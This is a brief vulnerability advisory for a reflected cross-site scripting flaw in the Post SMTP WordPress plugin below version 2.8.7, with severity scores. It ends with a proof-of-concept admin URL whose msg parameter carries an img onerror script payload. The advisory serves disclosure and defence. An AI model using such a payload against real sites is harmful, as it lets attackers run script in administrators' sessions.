Post SMTP < 2.8.7 - Reflected Cross-Site Scripting

2023-12-2100:00:00

Alex Sanford

post smtp

cross-site scripting

exploit

admin

url

security

6 Medium

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

17.1%

JSON

Description The plugin does not sanitise and escape the msg parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Make a logged in admin open the following URL:

https://example.com/wp-admin/admin.php?page=postman%2Fconfiguration_wizard&success=1&msg=hello<img+src%3Dx+onerror%3Dalert(document.domain)>